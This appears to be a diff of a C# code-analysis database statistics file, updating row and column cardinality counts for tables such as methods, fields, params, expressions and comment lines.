-19954,7 +19954,7 @@ 2 3 -15258 +15232 @@ -19970,7 +19970,7 @@ 2 3 -15258 +15232 @@ -19986,7 +19986,7 @@ 1 2 -30478 +30425 2 @@ -20007,7 +20007,7 @@ 1 2 -30497 +30444 @@ -20023,7 +20023,7 @@ 1 2 -30497 +30444 @@ -20039,7 +20039,7 @@ 1 2 -30478 +30425 2 @@ -20054,11 +20054,11 @@ event_accessor_location -31795 +31740 id -30517 +30464 loc @@ -20076,12 +20076,12 @@ 1 2 -29238 +29188 2 3 -1278 +1276 @@ -20157,11 +20157,11 @@ operators -12433 +12411 id -12433 +12411 name @@ -20169,19 +20169,19 @@ symbol -117 +116 declaring_type_id -3030 +3025 type_id -1624 +1622 unbound_id -11677 +11656 @@ -20195,7 +20195,7 @@ 1 2 -12433 +12411 @@ -20211,7 +20211,7 @@ 1 2 -12433 +12411 @@ -20227,7 +20227,7 @@ 1 2 -12433 +12411 @@ -20243,7 +20243,7 @@ 1 2 -12433 +12411 @@ -20259,7 +20259,7 @@ 1 2 -12433 +12411 @@ -20453,7 +20453,7 @@ 2 3 -39 +38 3 @@ -20758,7 +20758,7 @@ 2 3 -39 +38 3 @@ -20880,12 +20880,12 @@ 1 2 -473 +472 2 3 -1571 +1568 3 @@ -20895,7 +20895,7 @@ 4 6 -268 +267 6 @@ -20905,7 +20905,7 @@ 7 16 -229 +228 16 @@ -20926,12 +20926,12 @@ 1 2 -629 +628 2 3 -1541 +1539 3 @@ -20941,7 +20941,7 @@ 4 5 -273 +272 5 @@ -20967,27 +20967,27 @@ 1 2 -629 +628 2 3 -1546 +1544 3 4 -239 +238 4 5 -273 +272 5 9 -229 +228 9 @@ -21008,12 +21008,12 @@ 1 2 -2025 +2021 2 3 -419 +418 3 @@ -21044,12 +21044,12 @@ 1 2 -473 +472 2 3 -1571 +1568 3 @@ -21059,7 +21059,7 @@ 4 6 -268 +267 6 @@ -21069,7 +21069,7 @@ 7 16 -229 +228 16 @@ -21090,7 +21090,7 @@ 1 2 -795 +794 2 @@ -21131,7 +21131,7 @@ 1 2 -1210 +1208 2 @@ -21141,7 +21141,7 @@ 3 5 -117 +116 5 @@ -21167,12 +21167,12 @@ 1 2 -1210 +1208 2 3 -161 +160 3 @@ -21203,7 +21203,7 @@ 1 2 -1268 +1266 2 @@ -21234,7 +21234,7 @@ 1 2 -795 +794 2 @@ -21275,7 +21275,7 @@ 1 2 -11530 +11510 2 @@ -21296,7 +21296,7 @@ 1 2 -11677 +11656 @@ -21312,7 +21312,7 @@ 1 2 -11677 +11656 @@ -21328,7 +21328,7 @@ 1 2 -11530 +11510 2 @@ -21349,7 +21349,7 @@ 1 2 -11618 +11598 2 @@ -21364,15 +21364,15 @@ operator_location -22297 +22258 id -5646 +5637 loc -3164 +3158 @@ -21386,27 +21386,27 @@ 1 2 -841 +839 2 3 -3155 +3150 3 9 -387 +386 9 11 -450 +449 11 12 -583 +582 12 @@ -21427,7 +21427,7 @@ 1 2 -2773 +2768 2 @@ -21447,15 +21447,15 @@ constant_value -185695 +185373 id -185583 +185261 value -47942 +47859 @@ -21469,7 +21469,7 @@ 1 2 -185471 +185149 2 @@ -21490,27 +21490,27 @@ 1 2 -32952 +32895 2 3 -7231 +7219 3 4 -3893 +3887 4 61 -3596 +3590 61 2421 -268 +267 @@ -21520,27 +21520,27 @@ methods -1118708 +1116765 id -1118708 +1116765 name -133839 +133607 declaring_type_id -202408 +202057 type_id -113086 +112889 unbound_id -697851 +696639 @@ -21554,7 +21554,7 @@ 1 2 -1118708 +1116765 @@ -21570,7 +21570,7 @@ 1 2 -1118708 +1116765 @@ -21586,7 +21586,7 @@ 1 2 -1118708 +1116765 @@ -21602,7 +21602,7 @@ 1 2 -1118708 +1116765 @@ -21618,32 +21618,32 @@ 1 2 -69271 +69151 2 3 -23661 +23620 3 4 -10852 +10833 4 6 -10442 +10424 6 12 -10588 +10570 12 5621 -9022 +9006 @@ -21659,32 +21659,32 @@ 1 2 -79660 +79522 2 3 -19377 +19343 3 4 -11335 +11315 4 7 -11067 +11047 7 33 -10125 +10107 33 4959 -2273 +2269 @@ -21700,22 +21700,22 @@ 1 2 -113066 +112870 2 3 -10613 +10594 3 174 -10042 +10024 177 2703 -117 +116 @@ -21731,32 +21731,32 @@ 1 2 -71013 +70890 2 3 -24530 +24487 3 4 -10925 +10906 4 6 -10740 +10721 6 12 -10047 +10029 12 4958 -6582 +6571 @@ -21772,42 +21772,42 @@ 1 2 -59834 +59730 2 3 -43063 +42988 3 4 -31351 +31297 4 5 -14277 +14253 5 6 -14814 +14788 6 10 -16127 +16099 10 23 -15683 +15656 23 1309 -7256 +7243 @@ -21823,37 +21823,37 @@ 1 2 -64909 +64796 2 3 -44751 +44673 3 4 -34455 +34395 4 5 -18225 +18193 5 8 -18191 +18159 8 18 -15278 +15251 18 457 -6597 +6585 @@ -21869,32 +21869,32 @@ 1 2 -97978 +97808 2 3 -48996 +48911 3 4 -22988 +22948 4 5 -11642 +11622 5 10 -15234 +15207 10 738 -5567 +5558 @@ -21910,42 +21910,42 @@ 1 2 -59941 +59837 2 3 -43141 +43066 3 4 -31351 +31297 4 5 -14312 +14287 5 6 -14834 +14808 6 10 -16044 +16016 10 23 -16141 +16113 23 698 -6641 +6629 @@ -21961,27 +21961,27 @@ 1 2 -75576 +75445 2 3 -14507 +14482 3 4 -8324 +8310 4 10 -8841 +8826 10 62149 -5836 +5825 @@ -21997,22 +21997,22 @@ 1 2 -91737 +91578 2 3 -9632 +9615 3 8 -8680 +8665 8 7666 -3035 +3029 @@ -22028,22 +22028,22 @@ 1 2 -87555 +87403 2 3 -14004 +13980 3 8 -8817 +8802 8 19632 -2708 +2703 @@ -22059,27 +22059,27 @@ 1 2 -75688 +75557 2 3 -14565 +14540 3 4 -8397 +8383 4 10 -8778 +8763 10 44480 -5655 +5645 @@ -22095,12 +22095,12 @@ 1 2 -670969 +669803 2 1367 -26882 +26835 @@ -22116,7 +22116,7 @@ 1 2 -697851 +696639 @@ -22132,12 +22132,12 @@ 1 2 -672838 +671669 2 1367 -25013 +24969 @@ -22153,12 +22153,12 @@ 1 2 -687467 +686273 2 1367 -10383 +10365 @@ -22168,15 +22168,15 @@ method_location -1282719 +1280490 id -1118708 +1116765 loc -40906 +40835 @@ -22190,17 +22190,17 @@ 1 2 -988094 +986377 2 3 -98447 +98276 3 119 -32166 +32110 @@ -22216,17 +22216,17 @@ 1 2 -36285 +36222 2 51 -3083 +3078 51 27729 -1537 +1534 @@ -22236,23 +22236,23 @@ constructors -278155 +277672 id -278155 +277672 name -133712 +133480 declaring_type_id -212373 +212004 unbound_id -223664 +223276 @@ -22266,7 +22266,7 @@ 1 2 -278155 +277672 @@ -22282,7 +22282,7 @@ 1 2 -278155 +277672 @@ -22298,7 +22298,7 @@ 1 2 -278155 +277672 @@ -22314,22 +22314,22 @@ 1 2 -102375 +102197 2 3 -19206 +19173 3 8 -10266 +10248 8 2183 -1864 +1860 @@ -22345,17 +22345,17 @@ 1 2 -122709 +122495 2 11 -10100 +10083 11 2183 -902 +901 @@ -22371,22 +22371,22 @@ 1 2 -103258 +103079 2 3 -19362 +19328 3 10 -10105 +10088 10 2183 -985 +983 @@ -22402,17 +22402,17 @@ 1 2 -179645 +179333 2 3 -19787 +19752 3 20 -12940 +12918 @@ -22428,7 +22428,7 @@ 1 2 -212373 +212004 @@ -22444,17 +22444,17 @@ 1 2 -179645 +179333 2 3 -19787 +19752 3 20 -12940 +12918 @@ -22470,12 +22470,12 @@ 1 2 -221229 +220845 2 780 -2434 +2430 @@ -22491,7 +22491,7 @@ 1 2 -223664 +223276 @@ -22507,12 +22507,12 @@ 1 2 -221229 +220845 2 780 -2434 +2430 @@ -22522,15 +22522,15 @@ constructor_location -322033 +321474 id -278155 +277672 loc -24818 +24774 @@ -22544,17 +22544,17 @@ 1 2 -238762 +238347 2 3 -37641 +37576 3 87 -1751 +1748 @@ -22570,22 +22570,22 @@ 1 2 -19035 +19002 2 3 -3186 +3180 3 59 -1868 +1865 59 4796 -727 +725 @@ -22595,11 +22595,11 @@ destructors -444 +443 id -444 +443 name @@ -22607,11 +22607,11 @@ declaring_type_id -444 +443 unbound_id -429 +428 @@ -22625,7 +22625,7 @@ 1 2 -444 +443 @@ -22641,7 +22641,7 @@ 1 2 -444 +443 @@ -22657,7 +22657,7 @@ 1 2 -444 +443 @@ -22673,7 +22673,7 @@ 1 2 -395 +394 2 @@ -22694,7 +22694,7 @@ 1 2 -395 +394 2 @@ -22715,7 +22715,7 @@ 1 2 -400 +399 2 @@ -22736,7 +22736,7 @@ 1 2 -444 +443 @@ -22752,7 +22752,7 @@ 1 2 -444 +443 @@ -22768,7 +22768,7 @@ 1 2 -444 +443 @@ -22784,7 +22784,7 @@ 1 2 -419 +418 2 @@ -22805,7 +22805,7 @@ 1 2 -429 +428 @@ -22821,7 +22821,7 @@ 1 2 -419 +418 2 @@ -22836,7 +22836,7 @@ destructor_location -646 +645 id @@ -22924,7 +22924,7 @@ 3 5 -28 +27 5 @@ -22939,15 +22939,15 @@ overrides -274437 +273960 id -274413 +273936 base_id -65524 +65410 @@ -22961,7 +22961,7 @@ 1 2 -274388 +273912 2 @@ -22982,27 +22982,27 @@ 1 2 -40325 +40255 2 3 -10491 +10473 3 4 -4294 +4286 4 7 -5348 +5338 7 184 -4918 +4910 215 @@ -23017,15 +23017,15 @@ explicitly_implements -156232 +155961 id -156232 +155961 interface_id -13306 +13283 @@ -23039,7 +23039,7 @@ 1 2 -156232 +155961 @@ -23055,32 +23055,32 @@ 1 2 -6782 +6770 2 3 -2493 +2489 3 4 -1185 +1183 4 5 -458 +457 5 7 -1210 +1208 7 58 -1000 +998 58 @@ -23444,11 +23444,11 @@ fields -556716 +555749 id -556716 +555749 kind @@ -23456,19 +23456,19 @@ name -218623 +218244 declaring_type_id -103771 +103590 type_id -89678 +89522 unbound_id -549006 +548053 @@ -23482,7 +23482,7 @@ 1 2 -556716 +555749 @@ -23498,7 +23498,7 @@ 1 2 -556716 +555749 @@ -23514,7 +23514,7 @@ 1 2 -556716 +555749 @@ -23530,7 +23530,7 @@ 1 2 -556716 +555749 @@ -23546,7 +23546,7 @@ 1 2 -556716 +555749 @@ -23667,22 +23667,22 @@ 1 2 -176497 +176191 2 3 -22607 +22568 3 14 -16586 +16557 14 4800 -2932 +2927 @@ -23698,12 +23698,12 @@ 1 2 -209250 +208886 2 3 -9373 +9357 @@ -23719,22 +23719,22 @@ 1 2 -176522 +176215 2 3 -22592 +22553 3 14 -16576 +16547 14 4800 -2932 +2927 @@ -23750,17 +23750,17 @@ 1 2 -189028 +188700 2 3 -17688 +17658 3 2459 -11906 +11885 @@ -23776,22 +23776,22 @@ 1 2 -176888 +176580 2 3 -22612 +22573 3 15 -16503 +16474 15 4800 -2620 +2615 @@ -23807,42 +23807,42 @@ 1 2 -27370 +27322 2 3 -21187 +21150 3 4 -12594 +12572 4 5 -10120 +10102 5 6 -7948 +7935 6 8 -9290 +9274 8 12 -8163 +8149 12 4204 -7095 +7082 @@ -23858,12 +23858,12 @@ 1 2 -102678 +102499 2 3 -1093 +1091 @@ -23879,42 +23879,42 @@ 1 2 -27370 +27322 2 3 -21192 +21155 3 4 -12599 +12577 4 5 -10115 +10097 5 6 -7948 +7935 6 8 -9295 +9279 8 12 -8163 +8149 12 4204 -7085 +7072 @@ -23930,37 +23930,37 @@ 1 2 -44609 +44532 2 3 -21241 +21204 3 4 -9451 +9435 4 5 -7378 +7365 5 6 -6172 +6162 6 9 -9608 +9591 9 132 -5309 +5299 @@ -23976,42 +23976,42 @@ 1 2 -27370 +27322 2 3 -21187 +21150 3 4 -12594 +12572 4 5 -10120 +10102 5 6 -7948 +7935 6 8 -9290 +9274 8 12 -8163 +8149 12 4204 -7095 +7082 @@ -24027,32 +24027,32 @@ 1 2 -55901 +55804 2 3 -10901 +10882 3 4 -6221 +6210 4 7 -7983 +7969 7 27 -6802 +6790 27 9290 -1868 +1865 @@ -24068,12 +24068,12 @@ 1 2 -87477 +87325 2 3 -2200 +2196 @@ -24089,27 +24089,27 @@ 1 2 -63845 +63734 2 3 -9334 +9318 3 5 -7900 +7886 5 18 -6851 +6839 18 5213 -1746 +1743 @@ -24125,22 +24125,22 @@ 1 2 -68437 +68318 2 3 -10057 +10039 3 7 -7246 +7233 7 5746 -3937 +3931 @@ -24156,32 +24156,32 @@ 1 2 -55945 +55848 2 3 -11228 +11208 3 4 -5933 +5923 4 7 -7958 +7944 7 27 -6758 +6746 27 9185 -1854 +1851 @@ -24197,12 +24197,12 @@ 1 2 -548094 +547142 2 234 -912 +910 @@ -24218,7 +24218,7 @@ 1 2 -549006 +548053 @@ -24234,7 +24234,7 @@ 1 2 -549006 +548053 @@ -24250,12 +24250,12 @@ 1 2 -548094 +547142 2 234 -912 +910 @@ -24271,12 +24271,12 @@ 1 2 -548509 +547556 2 138 -497 +496 @@ -24286,15 +24286,15 @@ field_location -637621 +636514 id -549338 +548384 loc -52944 +52852 @@ -24308,17 +24308,17 @@ 1 2 -467082 +466270 2 3 -78240 +78104 3 57 -4015 +4008 @@ -24334,12 +24334,12 @@ 1 2 -49431 +49345 2 8882 -3513 +3507 @@ -24349,11 +24349,11 @@ localvars -163688 +163691 id -163688 +163691 kind @@ -24361,7 +24361,7 @@ name -22588 +22592 implicitly_typed @@ -24369,11 +24369,11 @@ type_id -7294 +7295 parent_id -163688 +163691 @@ -24387,7 +24387,7 @@ 1 2 -163688 +163691 @@ -24403,7 +24403,7 @@ 1 2 -163688 +163691 @@ -24419,7 +24419,7 @@ 1 2 -163688 +163691 @@ -24435,7 +24435,7 @@ 1 2 -163688 +163691 @@ -24451,7 +24451,7 @@ 1 2 -163688 +163691 @@ -24475,8 +24475,8 @@ 1 -162436 -162437 +162439 +162440 1 @@ -24501,8 +24501,8 @@ 1 -22375 -22376 +22379 +22380 1 @@ -24548,8 +24548,8 @@ 1 -7289 -7290 +7290 +7291 1 @@ -24574,8 +24574,8 @@ 1 -162869 -162870 +162872 +162873 1 @@ -24592,7 +24592,7 @@ 1 2 -14109 +14113 2 @@ -24628,7 +24628,7 @@ 1 2 -22496 +22500 2 @@ -24649,7 +24649,7 @@ 1 2 -19929 +19933 2 @@ -24670,7 +24670,7 @@ 1 2 -19219 +19223 2 @@ -24696,7 +24696,7 @@ 1 2 -14075 +14079 2 @@ -24730,13 +24730,13 @@ 12 -36617 -36618 +36616 +36617 1 -126636 -126637 +126640 +126641 1 @@ -24777,8 +24777,8 @@ 1 -16700 -16701 +16704 +16705 1 @@ -24798,8 +24798,8 @@ 1 -6176 -6177 +6177 +6178 1 @@ -24814,13 +24814,13 @@ 12 -36766 -36767 +36765 +36766 1 -126922 -126923 +126926 +126927 1 @@ -24837,7 +24837,7 @@ 1 2 -3306 +3307 2 @@ -24866,7 +24866,7 @@ 35 -37230 +37235 317 @@ -24883,7 +24883,7 @@ 1 2 -7265 +7266 2 @@ -24904,7 +24904,7 @@ 1 2 -4169 +4170 2 @@ -24928,7 +24928,7 @@ 49 -1937 +1941 84 @@ -24945,7 +24945,7 @@ 1 2 -5610 +5611 2 @@ -24966,7 +24966,7 @@ 1 2 -3240 +3241 2 @@ -24995,7 +24995,7 @@ 35 -37235 +37240 319 @@ -25012,7 +25012,7 @@ 1 2 -163688 +163691 @@ -25028,7 +25028,7 @@ 1 2 -163688 +163691 @@ -25044,7 +25044,7 @@ 1 2 -163688 +163691 @@ -25060,7 +25060,7 @@ 1 2 -163688 +163691 @@ -25076,7 +25076,7 @@ 1 2 -163688 +163691 @@ -25086,15 +25086,15 @@ localvar_location -163253 +163256 id -163253 +163256 loc -163174 +163177 @@ -25108,7 +25108,7 @@ 1 2 -163253 +163256 @@ -25124,7 +25124,7 @@ 1 2 -163095 +163098 2 @@ -25139,23 +25139,23 @@ params -2421931 +2417724 id -2421931 +2417724 name -80958 +80817 type_id -331188 +330612 index -200 +199 mode @@ -25163,11 +25163,11 @@ parent_id -1372139 +1369755 unbound_id -1437614 +1435117 @@ -25181,7 +25181,7 @@ 1 2 -2421931 +2417724 @@ -25197,7 +25197,7 @@ 1 2 -2421931 +2417724 @@ -25213,7 +25213,7 @@ 1 2 -2421931 +2417724 @@ -25229,7 +25229,7 @@ 1 2 -2421931 +2417724 @@ -25245,7 +25245,7 @@ 1 2 -2421931 +2417724 @@ -25261,7 +25261,7 @@ 1 2 -2421931 +2417724 @@ -25277,42 +25277,42 @@ 1 2 -31171 +31117 2 3 -13877 +13853 3 4 -7070 +7058 4 5 -4845 +4837 5 7 -6660 +6649 7 13 -6909 +6897 13 41 -6089 +6079 41 46351 -4333 +4325 @@ -25328,22 +25328,22 @@ 1 2 -64328 +64216 2 3 -8173 +8159 3 12 -6182 +6171 12 6855 -2273 +2269 @@ -25359,22 +25359,22 @@ 1 2 -55106 +55010 2 3 -14590 +14564 3 4 -5523 +5514 4 33 -5738 +5728 @@ -25390,12 +25390,12 @@ 1 2 -75917 +75786 2 7 -5040 +5031 @@ -25411,42 +25411,42 @@ 1 2 -31171 +31117 2 3 -13877 +13853 3 4 -7070 +7058 4 5 -4845 +4837 5 7 -6660 +6649 7 13 -6909 +6897 13 41 -6089 +6079 41 46351 -4333 +4325 @@ -25462,42 +25462,42 @@ 1 2 -31561 +31506 2 3 -14107 +14082 3 4 -7085 +7072 4 5 -4962 +4954 5 7 -6489 +6478 7 13 -6924 +6912 13 43 -6163 +6152 43 36753 -3664 +3658 @@ -25513,27 +25513,27 @@ 1 2 -227983 +227587 2 3 -39012 +38945 3 6 -30136 +30084 6 24 -25105 +25062 24 48952 -8949 +8933 @@ -25549,17 +25549,17 @@ 1 2 -289623 +289120 2 4 -30546 +30493 4 2470 -11018 +10999 @@ -25575,17 +25575,17 @@ 1 2 -292692 +292183 2 3 -25120 +25076 3 36 -13375 +13351 @@ -25601,12 +25601,12 @@ 1 2 -322463 +321903 2 5 -8724 +8709 @@ -25622,27 +25622,27 @@ 1 2 -230486 +230086 2 3 -37051 +36986 3 6 -30551 +30498 6 25 -25066 +25023 25 40409 -8031 +8017 @@ -25658,27 +25658,27 @@ 1 2 -233682 +233276 2 3 -34967 +34906 3 5 -25789 +25744 5 16 -25354 +25310 16 33990 -11394 +11374 @@ -26376,27 +26376,27 @@ 1 2 -805999 +804599 2 3 -333252 +332673 3 4 -129428 +129203 4 17 -102946 +102767 17 42 -512 +511 @@ -26412,27 +26412,27 @@ 1 2 -805999 +804599 2 3 -333252 +332673 3 4 -129428 +129203 4 17 -102946 +102767 17 42 -512 +511 @@ -26448,22 +26448,22 @@ 1 2 -855640 +854154 2 3 -333549 +332970 3 4 -113486 +113289 4 23 -69462 +69341 @@ -26479,27 +26479,27 @@ 1 2 -805999 +804599 2 3 -333252 +332673 3 4 -129428 +129203 4 17 -102946 +102767 17 42 -512 +511 @@ -26515,12 +26515,12 @@ 1 2 -1303506 +1301242 2 4 -68632 +68513 @@ -26536,27 +26536,27 @@ 1 2 -805999 +804599 2 3 -333252 +332673 3 4 -129428 +129203 4 17 -102946 +102767 17 42 -512 +511 @@ -26572,12 +26572,12 @@ 1 2 -1387241 +1384831 2 11328 -50372 +50285 @@ -26593,7 +26593,7 @@ 1 2 -1437614 +1435117 @@ -26609,12 +26609,12 @@ 1 2 -1419476 +1417010 2 3718 -18137 +18106 @@ -26630,7 +26630,7 @@ 1 2 -1437614 +1435117 @@ -26646,7 +26646,7 @@ 1 2 -1437614 +1435117 @@ -26662,12 +26662,12 @@ 1 2 -1387241 +1384831 2 11328 -50372 +50285 @@ -26677,15 +26677,15 @@ param_location -2692055 +2687379 id -2418233 +2414032 loc -137792 +137552 @@ -26699,17 +26699,17 @@ 1 2 -2154623 +2150880 2 3 -256792 +256346 3 60 -6816 +6805 @@ -26725,12 +26725,12 @@ 1 2 -133463 +133232 2 99581 -4328 +4320 @@ -26740,11 +26740,11 @@ statements -991711 +989988 id -991711 +989988 kind @@ -26762,7 +26762,7 @@ 1 2 -991711 +989988 @@ -26863,19 +26863,19 @@ stmt_parent -820024 +818600 stmt -820024 +818600 index -439 +438 parent -434414 +433660 @@ -26889,7 +26889,7 @@ 1 2 -820024 +818600 @@ -26905,7 +26905,7 @@ 1 2 -820024 +818600 @@ -26921,7 +26921,7 @@ 1 2 -112 +111 2 @@ -26992,7 +26992,7 @@ 1 2 -112 +111 2 @@ -27063,22 +27063,22 @@ 1 2 -293576 +293066 2 3 -75348 +75217 3 5 -38126 +38060 5 361 -27363 +27316 @@ -27094,22 +27094,22 @@ 1 2 -293576 +293066 2 3 -75348 +75217 3 5 -38126 +38060 5 361 -27363 +27316 @@ -27119,11 +27119,11 @@ stmt_parent_top_level -171686 +171388 stmt -171686 +171388 index @@ -27131,7 +27131,7 @@ parent -123176 +122962 @@ -27145,7 +27145,7 @@ 1 2 -171686 +171388 @@ -27161,7 +27161,7 @@ 1 2 -171686 +171388 @@ -27209,17 +27209,17 @@ 1 2 -77140 +77006 2 3 -43665 +43589 3 5 -2370 +2366 @@ -27235,7 +27235,7 @@ 1 2 -123176 +122962 @@ -27245,15 +27245,15 @@ stmt_location -991711 +989988 id -991711 +989988 loc -960052 +958384 @@ -27267,7 +27267,7 @@ 1 2 -991711 +989988 @@ -27283,12 +27283,12 @@ 1 2 -928393 +926780 2 3 -31659 +31604 @@ -27298,11 +27298,11 @@ catch_type -3440 +3434 catch_id -3440 +3434 type_id @@ -27324,7 +27324,7 @@ 1 2 -3440 +3434 @@ -27340,7 +27340,7 @@ 1 2 -3440 +3434 @@ -27464,11 +27464,11 @@ expressions -4261763 +4254360 id -4261763 +4254360 kind @@ -27476,7 +27476,7 @@ type_id -22995 +22985 @@ -27490,7 +27490,7 @@ 1 2 -4261763 +4254360 @@ -27506,7 +27506,7 @@ 1 2 -4261763 +4254360 @@ -27560,13 +27560,13 @@ 8 -2053 +2052 3102 8 3775 -7544 +7543 8 @@ -27576,17 +27576,17 @@ 24209 -163741 +163744 8 -179843 -524140 +178920 +524143 8 -547923 -759313 +547931 +754356 2 @@ -27641,13 +27641,13 @@ 8 -1701 +1685 4715 8 -6912 -7293 +6896 +7294 5 @@ -27664,47 +27664,47 @@ 1 2 -5199 +5201 2 3 -2978 +3054 3 4 -1233 +1232 4 5 -1734 +1649 5 6 -1082 +1083 6 8 -1752 +1747 8 12 -1850 +1849 12 20 -1928 +1930 20 37 -1757 +1758 37 @@ -27713,13 +27713,13 @@ 88 -11916 -1725 +11371 +1724 -12983 -493694 -27 +11915 +493377 +28 @@ -27735,12 +27735,12 @@ 1 2 -8859 +8863 2 3 -4639 +4624 3 @@ -27750,22 +27750,22 @@ 4 5 -1855 +1857 5 6 -1201 +1200 6 8 -1594 +1595 8 16 -1751 +1750 16 @@ -27780,19 +27780,19 @@ expr_parent -3939840 +3932996 expr -3939840 +3932996 index -79800 +79662 parent -2586341 +2581848 @@ -27806,7 +27806,7 @@ 1 2 -3939840 +3932996 @@ -27822,7 +27822,7 @@ 1 2 -3939840 +3932996 @@ -27838,22 +27838,22 @@ 1 2 -66179 +66064 2 6 -6195 +6185 6 13 -6040 +6029 13 1629890 -1385 +1383 @@ -27869,22 +27869,22 @@ 1 2 -66179 +66064 2 6 -6195 +6185 6 13 -6040 +6029 13 1629890 -1385 +1383 @@ -27900,17 +27900,17 @@ 1 2 -1623702 +1620882 2 3 -833315 +831867 3 65537 -129323 +129098 @@ -27926,17 +27926,17 @@ 1 2 -1623702 +1620882 2 3 -833315 +831867 3 65537 -129323 +129098 @@ -27946,11 +27946,11 @@ expr_parent_top_level -504733 +503856 expr -504733 +503856 index @@ -27958,7 +27958,7 @@ parent -436423 +435665 @@ -27972,7 +27972,7 @@ 1 2 -504733 +503856 @@ -27988,7 +27988,7 @@ 1 2 -504733 +503856 @@ -28116,17 +28116,17 @@ 1 2 -396336 +395648 2 4 -35714 +35652 4 9 -4372 +4364 @@ -28142,17 +28142,17 @@ 1 2 -396517 +395828 2 4 -35592 +35530 4 9 -4313 +4306 @@ -28173,22 +28173,22 @@ explicitly_sized_array_creation -4357 +4349 id -4357 +4349 stackalloc_array_creation -826 +825 id -826 +825 @@ -28243,26 +28243,26 @@ expr_compiler_generated -1636661 +1633818 id -1636661 +1633818 expr_value -1405724 +1400343 id -1405724 +1400343 value -102750 +102755 @@ -28276,7 +28276,7 @@ 1 2 -1405724 +1400343 @@ -28292,27 +28292,27 @@ 1 2 -72193 +72202 2 3 -14936 +14943 3 6 -7872 +7868 6 -1885 +2295 7707 -1885 -273629 -42 +2344 +272047 +35 @@ -28322,11 +28322,11 @@ expr_call -678131 +678138 caller_id -678131 +678138 target_id @@ -28344,7 +28344,7 @@ 1 2 -678131 +678138 @@ -28360,22 +28360,22 @@ 1 2 -28109 +28110 2 3 -10362 +10360 3 4 -4305 +4300 4 7 -4774 +4780 7 @@ -28395,15 +28395,15 @@ expr_access -1389088 +1386675 accesser_id -1389088 +1386675 target_id -331365 +330789 @@ -28417,7 +28417,7 @@ 1 2 -1389088 +1386675 @@ -28433,37 +28433,37 @@ 1 2 -104688 +104506 2 3 -70720 +70597 3 4 -51578 +51489 4 5 -33419 +33361 5 6 -18850 +18818 6 9 -27039 +26992 9 185 -24855 +24812 185 @@ -28478,15 +28478,15 @@ expr_location -4261763 +4254360 id -4261763 +4254360 loc -3000067 +3000031 @@ -28500,7 +28500,7 @@ 1 2 -4261763 +4254360 @@ -28516,17 +28516,17 @@ 1 2 -2746074 +2746057 2 3 -248612 +248596 3 542623 -5381 +5378 @@ -28536,15 +28536,15 @@ dynamic_member_name -13653 +13629 id -13653 +13629 name -1410 +1407 @@ -28558,7 +28558,7 @@ 1 2 -13653 +13629 @@ -28584,7 +28584,7 @@ 3 4 -161 +160 4 @@ -28594,7 +28594,7 @@ 5 7 -117 +116 7 @@ -28624,22 +28624,22 @@ conditional_access -3079 +3073 id -3079 +3073 expr_argument -873946 +873957 id -873946 +873957 mode @@ -28657,7 +28657,7 @@ 1 2 -873946 +873957 @@ -28681,13 +28681,13 @@ 1 -5697 -5698 +5699 +5700 1 -863700 -863701 +863709 +863710 1 @@ -33195,7 +33195,7 @@ location -9932678 +9338663 @@ -33230,7 +33230,12 @@ 1 2 -9932678 +8757787 + + +2 +13 +580876 @@ -33240,11 +33245,11 @@ commentline -410630 +409917 id -410630 +409917 kind @@ -33252,11 +33257,11 @@ text -196984 +196642 rawtext -199596 +199249 @@ -33270,7 +33275,7 @@ 1 2 -410630 +409917 @@ -33286,7 +33291,7 @@ 1 2 -410630 +409917 @@ -33302,7 +33307,7 @@ 1 2 -410630 +409917 @@ -33396,17 +33401,17 @@ 1 2 -161405 +161124 2 3 -23478 +23437 3 24462 -12100 +12079 @@ -33422,12 +33427,12 @@ 1 2 -195894 +195554 2 4 -1089 +1087 @@ -33443,12 +33448,12 @@ 1 2 -194908 +194570 2 51 -2075 +2072 @@ -33464,17 +33469,17 @@ 1 2 -164727 +164441 2 3 -23012 +22972 3 24457 -11856 +11835 @@ -33490,7 +33495,7 @@ 1 2 -199596 +199249 @@ -33506,7 +33511,7 @@ 1 2 -199596 +199249 @@ -33516,15 +33521,15 @@ commentline_location -410630 +409917 id -410630 +409917 loc -410630 +409917 @@ -33538,7 +33543,7 @@ 1 2 -410630 +409917 @@ -33554,7 +33559,7 @@ 1 2 -410630 +409917 @@ -33564,26 +33569,26 @@ commentblock -144330 +144079 id -144330 +144079 commentblock_location -144330 +144079 id -144330 +144079 loc -144330 +144079 @@ -33597,7 +33602,7 @@ 1 2 -144330 +144079 @@ -33613,7 +33618,7 @@ 1 2 -144330 +144079 @@ -33623,15 +33628,15 @@ commentblock_binding -499895 +499025 id -144272 +144021 entity -216054 +215679 bindtype @@ -33649,17 +33654,17 @@ 1 2 -18058 +18026 2 3 -29054 +29005 3 4 -96868 +96698 4 @@ -33680,22 +33685,22 @@ 1 2 -12956 +12934 2 3 -5221 +5212 3 4 -29008 +28959 4 5 -97084 +96914 @@ -33711,17 +33716,17 @@ 1 2 -158335 +158060 2 3 -42066 +41993 3 9895 -15652 +15625 @@ -33737,22 +33742,22 @@ 1 2 -94328 +94164 2 3 -92774 +92614 3 4 -28080 +28030 4 5 -870 +869 @@ -33766,8 +33771,8 @@ 12 -83795 -83796 +83794 +83795 1 @@ -33802,8 +33807,8 @@ 1 -77380 -77381 +77379 +77380 1 @@ -33824,19 +33829,19 @@ commentblock_child -543889 +542944 id -144330 +144079 commentline -410544 +409831 index -4989 +4980 @@ -33850,32 +33855,32 @@ 1 2 -76905 +76772 2 3 -19919 +19885 3 4 -18979 +18946 4 5 -8965 +8950 5 8 -11476 +11456 8 4098 -8083 +8069 @@ -33891,37 +33896,37 @@ 1 2 -4206 +4199 2 3 -73601 +73473 3 4 -21669 +21631 4 5 -17226 +17196 5 6 -8623 +8608 6 9 -11196 +11176 9 4099 -7806 +7793 @@ -33937,7 +33942,7 @@ 1 2 -410535 +409822 2 @@ -33958,12 +33963,12 @@ 1 2 -277207 +276726 2 3 -133336 +133104 @@ -33979,22 +33984,22 @@ 1 2 -2226 +2222 2 3 -1379 +1377 3 7 -398 +397 7 10 -439 +438 11 @@ -34020,22 +34025,22 @@ 1 2 -2226 +2222 2 3 -1379 +1377 3 7 -398 +397 7 10 -439 +438 11 @@ -34844,7 +34849,7 @@ name -6 +3 @@ -34872,19 +34877,9 @@ 12 -1 -2 -4 - - -2 -3 -1 - - 3 4 -1 +3 @@ -34905,23 +34900,23 @@ cil_instruction -32220325 +32164355 id -32220325 +32164355 opcode -966 +964 index -332939 +332361 impl -1728901 +1725898 @@ -34935,7 +34930,7 @@ 1 2 -32220325 +32164355 @@ -34951,7 +34946,7 @@ 1 2 -32220325 +32164355 @@ -34967,7 +34962,7 @@ 1 2 